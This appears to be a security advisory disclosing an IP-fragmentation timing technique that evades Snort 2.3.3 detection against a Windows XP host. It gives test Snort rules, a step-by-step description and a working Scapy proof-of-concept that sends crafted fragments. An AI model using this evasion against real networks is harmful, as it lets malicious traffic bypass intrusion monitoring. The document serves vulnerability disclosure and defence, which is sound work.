<pre> Dan Kaminsky gave a presentation at shmoocon and mentioned using ip fragmentation timers to evade intrusion detection systems. It's a pretty straightforward technique and easy to code up so we decided to look and see if Snort was vulnerable. ------------------------------------------------------------------ We added a couple of rules alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"Found Generic ICMP Packet"; icode:0; itype:8; classtype:misc-activity; sid:384; rev:5;) alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"Found BadStuff"; content:"BADSTUFF";icode:0; itype:8; classtype:misc-activity; sid:384; rev:5;) to a snort 2.3.3 config file (gentoo emerge). We crafted up a quick ping with the string "BADSTUFF" to test our configuration. Sure enough, snort alerted on the packet. Next we tested that snort was properly assembly fragments. We fragmented the icmp echo request into two packets and threw them at the target host. Snort properly reassembled them in either order and the target returned an echo reply send to a Windows XP host. Now for the attack. We crafted 3 fragments. The first contained a standard icmp ping header. The second contained the BADSTUFF string and the third contained an alternate GODSTUFF string. Step 1) Send over the GODSTUFF packet. The GODSTUFF fragment is recieved by Snort and the Windows XP machine. Snort WindowsXP --->GODSTUFF GODSTUFF GODSTUFF Step 2) Wait 5 seconds for the fragment to timeout on the XP Host. The frament is still in the reassembly buffer for Snort. Snort WindowsXP (Wait 5sec) GODSTUFF Step 3) Send over the common ICMP Header. It is recieved by both Snort and the WindowsXP host. Snort WindowsXP GODSTUFF --->Header Header Header Snort now has both pieces it needs for reassembly and reconstructs the framents into a broken ICMP packet and discards both fragments. The WindowsXP host now only had the header fragment in the reassembly buffer. (Note: we could have made the icmp checksum work out, but we didn't have to.) Snort WindowsXP --->Header Header Step 4) Send over the BADSTUFF packet. Snort WindowsXP Header --->BADSTUFF BADSTUFF BADSTUFF The WindowsXP host properly reassembles the icmp packet and sends us back an icmp echo reply with the BADSTUFF string in it. No alerts from snort. Eventually the BADSTUFF fragment will silently timeout in Snort's buffer. ------------- This technique could be used to bypass most Snort signatures. It'd be fun to add a snort-inline plugin to do it automatically when pen-testing. If Snort cleared the fragments in the reassembly buffer on and icmp fragmentation reassembly time exceeded message, the attack would be hard to pull off. Unfortunately, many stacks and hardened systems no longer send out those messages. Jason Larsen Mike Milivich attached is a proof-of-concept in scapy #!/usr/bin/python from scapy import * from time import sleep from random import seed from random import randint # seed the random number generating using the current time seed(None) # victim ip = IP(dst="10.4.4.4") # generate a random ID, all of the fragments have to have the # same ID, but we want to use something that the IDS/target isn't # already trying to reassemble ip.id = randint(0x1000,0x5000) ip.proto = 0x1 # ICMP protocol number # get just the data part, not the ip header data1 = str(ip/ICMP(id=0x8236, seq=83)/("BADSTUFF"))[len(ip):] data2 = str(ip/ICMP(id=0x8236, seq=83)/("GODSTUFF"))[len(ip):] # split into fragments splitLoc = 8 frag1 = data1[:splitLoc] frag2 = data1[splitLoc:] frag2Good = data2[splitLoc:] # send the fragments # send the "good" fragment ip.flags = 0 ip.frag = splitLoc / 8 send(ip/frag2Good) # wait for good fragment to timeout on the target, this will change # depending on the target... 5 seconds worked against a test windows box sleep(5) # send the first fragment which causes the IDS to reassemble ip.flags = 1 ip.frag = 0 send(ip/frag1) # send the bad fragment to reassemble on the target, sits in the IDS # until the IDS flush's it from the fragment cache ip.flags = 0 ip.frag = splitLoc / 8 send(ip/frag2) </pre>